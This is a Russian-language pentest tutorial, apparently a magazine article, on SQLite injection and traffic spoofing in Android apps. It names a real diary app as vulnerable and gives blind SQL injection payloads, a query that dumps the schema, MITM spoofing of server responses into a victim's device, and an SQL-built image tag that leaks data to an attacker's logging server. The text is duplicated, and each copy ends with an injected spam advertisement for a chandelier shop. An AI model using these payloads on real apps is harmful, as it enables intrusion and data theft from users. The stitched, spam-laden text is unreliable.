Баги в приложениях для Android: SQLite-inj в приложении и Spoofing
Содержание:
1. Введение;
2. Пара слов о безопасности и инструменты для анализа;
3. Динамический анализ;
4. Какие бывают уязвимости;
5.SQLite-inj в приложении (Вы читаете данный раздел).
ТИП 3. SQLITE-INJ В ПРИЛОЖЕНИИ
Обычно для хранения данных приложение использует или SQLite-таблицы, или XML-файлы. Чтобы найти файлы определенного приложения, нужно обратиться по адресу /data/ data/%app_name%/.
Рассмотрим подробнее атаку на приложение с использованием SQLite injection. Найти уязвимое приложение довольно просто, так же как и с обычными SQL inj, только приложение при подстановке кавычки в уязвимое поле завершится с ошибкой, а в консоли можно увидеть подробный отчет об SQL-ошибке. Изучая исходный код приложения, не стоит забывать об опасных участках при работе с базой данных, например подстановке переменных напрямую в запрос.
От теории перейдем к практике. Я взял первое приложение, которое нашел по запросу Diary. Это приложение itesta.Diaro (https://play. google.com/store/apps/detai ls?id = itesta.Diaro).
Уязвимость присутствует в запросе поиска заметок. Весь запрос:
Как это выглядит в исходном коде, можно увидеть на скриншоте. Легко составить Blind SQL injection:
Так как в Android-приложениях используется база данных SQLite, то можно сделать запрос SELECT * FROM sqlite_master -- и получить всю структуру.
ТИП 4. SPOOFING
Теперь перейдем к спуфингу контента. Для пентеста приложений под Android советую использовать Android SDK и давно знакомый нам Burp. Если перенаправить весь трафик Android-системы, запущенной под эмулятором, на прокси, то можно изменять пакеты, которые отправляются устройством и приходят на него:
Для примера можно заменить содержимое ответа на запрос адреса ya.ru.
Теперь для чего нам может это понадобиться. В реальных условиях спуфинг можно провести с помощью специализированных утилит вроде Ettercap. Предположим, что у нас есть приложение, которое получает данные с внешнего источника и записывает их в базу. Разработчики часто забывают об этом и могут допустить ошибку, составив запрос с уязвимостью. Таким образом, подменяя ответ сервера на нужный нам SQL inj, мы можем проводить различные операции на устройстве жертвы.
Также часто хочется увидеть ответ самого устройства на отправленный SQL-запрос.
Для этого существует маленькая хитрость. Она заключается в том, что разработчики все чаще и чаще используют в своих приложениях HTML-коды для разметки. За их использование отвечает класс WebView. В Android используется движок WebKit для обработки HTML. По умолчанию javascript в классе WebView не включен, но нам он и не понадобится. Техника будет аналогична той, что используется в снифферах. У нас имеется сервер, который записывает в лог все, что после ?. Таким образом, мы формируем запрос, чтобы он выводил в ответ «[...img]http://server/?41[/img]»: в данном случае это запрос «SELECT X'3c'||'img src=http:// server/?'||hex('A')||X'3e';».
Конечно, это всего лишь малая часть того, как можно проводить пентест Android-приложений. В завершение статьи приведу нереализованные концепты атак: SQLite load_ extension(), динамическая загрузка сторонних библиотек и подгрузка сторонних БД. Постараемся рассмотреть их в другой статье. Кроме того, в одном из следующих номеров будет опубликован отчет об уязвимостях, найденных в рамках конкурса «Охота за ошибками» от компании «Яндекс».
Ваша первоочередная задача - купить китайскую люстру в интернете (http://lampsaz.ua/index.php/kitaiskie_ljustry/), а уже после Вы будете заниматься поиском багов в приложениях для Android! И именно поэтому Вам следует заглянуть на lampsaz.ua, где представлен широчайший ассортимент люстр на любой вкус и кошелек!
1. Введение;
2. Пара слов о безопасности и инструменты для анализа;
3. Динамический анализ;
4. Какие бывают уязвимости;
5.
ТИП 3. SQLITE-INJ В ПРИЛОЖЕНИИ
Обычно для хранения данных приложение использует или SQLite-таблицы, или XML-файлы. Чтобы найти файлы определенного приложения, нужно обратиться по адресу /data/ data/%app_name%/.
Рассмотрим подробнее атаку на приложение с использованием SQLite injection. Найти уязвимое приложение довольно просто, так же как и с обычными SQL inj, только приложение при подстановке кавычки в уязвимое поле завершится с ошибкой, а в консоли можно увидеть подробный отчет об SQL-ошибке. Изучая исходный код приложения, не стоит забывать об опасных участках при работе с базой данных, например подстановке переменных напрямую в запрос.
От теории перейдем к практике. Я взял первое приложение, которое нашел по запросу Diary. Это приложение itesta.Diaro (https://play. google.com/store/apps/detai ls?id = itesta.Diaro).
Уязвимость присутствует в запросе поиска заметок. Весь запрос:
Как это выглядит в исходном коде, можно увидеть на скриншоте. Легко составить Blind SQL injection:
true - %') and 1=1--
false - %') and 1=0--
false - %') and 1=0--
Так как в Android-приложениях используется база данных SQLite, то можно сделать запрос SELECT * FROM sqlite_master -- и получить всю структуру.
ТИП 4. SPOOFING
Теперь перейдем к спуфингу контента. Для пентеста приложений под Android советую использовать Android SDK и давно знакомый нам Burp. Если перенаправить весь трафик Android-системы, запущенной под эмулятором, на прокси, то можно изменять пакеты, которые отправляются устройством и приходят на него:
root@android-sdk/tools # ./emulator
- avd avd_name -http-proxy http://
127.0.0.1:8080
- avd avd_name -http-proxy http://
127.0.0.1:8080
Для примера можно заменить содержимое ответа на запрос адреса ya.ru.
Теперь для чего нам может это понадобиться. В реальных условиях спуфинг можно провести с помощью специализированных утилит вроде Ettercap. Предположим, что у нас есть приложение, которое получает данные с внешнего источника и записывает их в базу. Разработчики часто забывают об этом и могут допустить ошибку, составив запрос с уязвимостью. Таким образом, подменяя ответ сервера на нужный нам SQL inj, мы можем проводить различные операции на устройстве жертвы.
Также часто хочется увидеть ответ самого устройства на отправленный SQL-запрос.
Для этого существует маленькая хитрость. Она заключается в том, что разработчики все чаще и чаще используют в своих приложениях HTML-коды для разметки. За их использование отвечает класс WebView. В Android используется движок WebKit для обработки HTML. По умолчанию javascript в классе WebView не включен, но нам он и не понадобится. Техника будет аналогична той, что используется в снифферах. У нас имеется сервер, который записывает в лог все, что после ?. Таким образом, мы формируем запрос, чтобы он выводил в ответ «[...img]http://server/?41[/img]»: в данном случае это запрос «SELECT X'3c'||'img src=http:// server/?'||hex('A')||X'3e';».
CONCEPTS
Конечно, это всего лишь малая часть того, как можно проводить пентест Android-приложений. В завершение статьи приведу нереализованные концепты атак: SQLite load_ extension(), динамическая загрузка сторонних библиотек и подгрузка сторонних БД. Постараемся рассмотреть их в другой статье. Кроме того, в одном из следующих номеров будет опубликован отчет об уязвимостях, найденных в рамках конкурса «Охота за ошибками» от компании «Яндекс».
Ваша первоочередная задача - купить китайскую люстру в интернете (http://lampsaz.ua/index.php/kitaiskie_ljustry/), а уже после Вы будете заниматься поиском багов в приложениях для Android! И именно поэтому Вам следует заглянуть на lampsaz.ua, где представлен широчайший ассортимент люстр на любой вкус и кошелек!